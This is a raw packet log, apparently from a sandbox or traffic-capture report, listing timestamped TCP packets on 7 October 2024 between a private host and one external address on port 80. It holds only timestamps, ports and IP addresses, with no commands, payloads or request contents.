Oct 7, 2024 18:43:35.441304922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441307068 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.441308975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441322088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441322088 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.441345930 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.441471100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441482067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441492081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441503048 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.441508055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441518068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441519976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441521883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441525936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441531897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441531897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.441562891 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.441987038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442195892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442205906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442217112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442228079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442244053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442253113 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.442260027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442270041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442275047 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.442280054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442289114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442292929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.442300081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442308903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442310095 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.442318916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442329884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442338943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442349911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442356110 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.442359924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442369938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.442373037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442378044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442384005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442385912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442390919 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.442392111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.442406893 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.442428112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.443056107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.443067074 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.443077087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.443087101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.443097115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.443104982 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.443106890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.443119049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.443136930 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.443166018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.443265915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.443293095 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.504148960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504163027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504173994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504266977 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.504441023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504451990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504470110 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504478931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504487991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504488945 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.504497051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504507065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504511118 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.504517078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504532099 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504537106 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.504542112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504550934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504553080 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.504560947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504570961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504580975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504587889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.504590988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504601002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504609108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504615068 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.504620075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.504635096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.504662037 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.504703999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.508524895 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.530909061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.530924082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.530934095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.530944109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.530956030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.530966997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.530985117 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.531035900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.531045914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.531056881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.531056881 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.531081915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.531092882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.531095982 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.531102896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.531116962 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.531120062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.531147957 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533040047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533051014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533061028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533070087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533080101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533088923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533097029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533098936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533113003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533130884 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533179998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533190012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533200979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533210993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533221006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533225060 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533236980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533241987 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533246994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533257961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533265114 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533267975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533277035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533287048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533294916 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533297062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533307076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533322096 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533325911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533344030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533370018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533543110 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533554077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533564091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533572912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533582926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533586025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533593893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.533613920 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.533631086 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534220934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534233093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534243107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534252882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534264088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534270048 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534276962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534284115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534292936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534317970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534334898 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534336090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534347057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534358978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534360886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534368992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534374952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534384012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534389019 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534389973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534399033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534405947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534406900 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534445047 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534447908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534456968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534466982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534476995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534486055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534487009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534496069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534506083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534535885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534552097 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534552097 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534569979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534579039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534589052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534596920 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534600019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534621954 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534646988 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.534951925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534961939 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534970999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.534996986 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.535085917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535095930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535104990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535115004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535125017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535128117 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.535134077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535142899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535145044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.535152912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535162926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535166979 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.535185099 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.535306931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535316944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535327911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.535350084 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.535362959 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.536189079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.536199093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.536209106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.536230087 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.536254883 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.536279917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.536695004 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.570005894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.570024967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.570044041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.570055008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.570071936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.570079088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.570080042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.570113897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.570148945 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.570214987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.570226908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.570255041 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.570281029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.620820999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620852947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620858908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620861053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620863914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620874882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620886087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620897055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620897055 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.620908976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620922089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620930910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620942116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620953083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620956898 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.620964050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620965004 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.620982885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620995045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.620995998 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621005058 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621009111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621018887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621028900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621036053 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621038914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621048927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621058941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621062994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621068954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621079922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621081114 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621090889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621098995 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621100903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621112108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621117115 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621120930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621131897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621140957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621145964 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621153116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621164083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621172905 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621175051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621182919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621193886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.621196032 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621217966 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.621233940 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.622097969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622108936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622118950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622128963 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622138977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622148991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622150898 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.622159004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622169018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622175932 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.622179031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622189045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622194052 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.622200012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622210979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.622212887 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.622232914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.622250080 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.625632048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.625649929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.625660896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.625682116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.625708103 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.625773907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.625786066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.625797033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.625808001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.625829935 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.625842094 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626178026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626188993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626198053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626209021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626219034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626223087 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626230001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626240015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626250029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626255035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626266003 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626267910 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626307011 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626317024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626332045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626342058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626351118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626362085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626372099 CEST	80	51632	95.164.90.97	192.168.2.4
